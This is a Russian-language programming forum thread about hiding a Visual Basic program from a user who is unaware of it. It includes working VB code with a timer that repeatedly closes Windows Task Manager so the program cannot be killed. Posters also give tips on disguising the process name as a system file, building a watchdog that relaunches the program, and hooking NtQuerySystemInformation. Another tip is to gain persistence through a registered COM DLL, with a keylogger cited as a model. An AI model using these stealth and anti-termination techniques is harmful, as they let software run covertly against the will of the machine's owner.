И как я раньше этого не нашёл? Чтобы скрыть приложение пишется: App.TaskVisible = False и всё. А чтобы ламак не обнаружил прогу в списке процессов можно назвать прогу kernel32. Для ламака сойдёт
IMHO: для ламака врдяли подойдет, так как будь хоть прога называться svchot.exe он все равно не знает, что такое кернел, тчо такое свисихост, так что будет тыкать все лижбы ...
Скажи, что если ты нажмешь три клавиши ALT+CTRL+DEL то сработает, система самоуничтожения и формат ц, это если он знает про три клавиши, а если нет, то ..., сам домысли
НЕ ПОЙМУ, мой моя идея - СОЗДАЙ ТАЙМЕР который там не знаю, например каждые 100 мл сек, закрывал Диспетчер задач, помоему при скорости закрытия 10 раз в секунду, он точно его тыкнуть мышкой не успеет, да диспетчер то появиться на экране то толком не успевает )))))
ВОТ ОЧЕНЬ ПРОСТОЙ ПРИМЕР :
это копируй в модуль:
Public Const PROCESS_TERMINATE = &H1
Public Const WM_QUERYENDSESSION = &H11
Public Const WM_ENDSESSION = &H16
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long) As Long
Public Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Public Declare Function TerminateProcess Lib "Kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function EnumWindows Lib "user32" (ByVal lpEnumFunc As Long, ByVal lParam As Long) As Long
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Const WM_CLOSE = &H10
Dim strCaptions() As String
Dim lngHandle() As Long
Public Function CloseProg(strCaption As String) As Boolean
Dim iCount As Integer
Dim i As Integer
Dim Pos As Integer
Dim lngEnum As Long
ReDim strCaptions(0)
For i = 0 To UBound(strCaptions)
Pos = InStr(1, strCaptions(i), strCaption, vbTextCompare)
If Pos > 0 Then
SendMessage lngHandle(i), WM_CLOSE, 0, 0
SendMessage lngHandle(i), WM_ENDSESSION, 0, 0
SendMessage lngHandle(i), WM_QUERYENDSESSION, 0, 0
iCount = iCount + 1
End If
Next
End Function
Public Function Callback1_EnumWindows(ByVal hwnd As Long, ByVal lpData As Long) As Long
Dim cnt As Long
Dim rttitle As String * 256
cnt = GetWindowText(hwnd, rttitle, 255)
If cnt > 0 Then
ReDim Preserve lngHandle(UBound(strCaptions) + 1)
ReDim Preserve strCaptions(UBound(strCaptions) + 1)
strCaptions(UBound(strCaptions)) = Left$(rttitle, cnt)
lngHandle(UBound(lngHandle)) = hwnd
End If
Callback1_EnumWindows = 1
End Function
а код таймера:
Private Sub Timer1_Timer()
On Error Resume Next
CloseProg "Диспетчер задач Windows"
' зачем нажно на ошибках не останавливаться,
' я думаю итак понятно !!
End Sub
И это очень даже действенно, такжн можно прикрывать ему работу тех программ которые могут закрывать процессы
не, это бред... Некоторые пользуются не стандартным диспетчером, пускай я не из таких, но если б у меня он пропадал, я б не поленился найти другой и убить мразную прогу Кроме перехвата NTQuerySystemInformation (VBPhantom) я бы предложил:
1) Поработать над невозможностью убить прогу, т.е. убил, а она откуда-то опять запустилась, типа того... короче сторожа сделать
2) Покопаться в API может получится получить текст с выделенной ячейки в ListView в диспетчере, хендел листа получим через GetCursorPos и WindowFromPoint, потом определим что выделена наша прога, и если это так, то выделим другую прогу на фонарь или просто сбросим фокус с диспетчера, или попробуем переместить нашу прогу по списку выше или ниже, короче чтоб выдиление не попадало на нас... Тогда прогу неполучится выделить чтобы убить... Но опять же, я бы разозлился и запустил бы что-то типа ProcKill
Там DaSharm про DLL чё-то говорил, к нему и вопрос. Зачем именно С++, с таким же успехом я создам DLL на VB? Хотя если имелось ввиду внедрение DLL в другую прогу - тогда согласен. Я к тому что можно на VB создать DLL которая будет чё-то там делать, и прописать её в реестре HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{xxxxxxxxxxxxxxxxxxxxxxxxxxxx}\InProcServer32 И всё с виндой грузится, в диспетчере DLL не видны, возможности те же что и у обычной проги. Так кстати делает делфовский келогер bks32, сырсы в паблике можно найти посмотреть точнее как длл зарегестриировать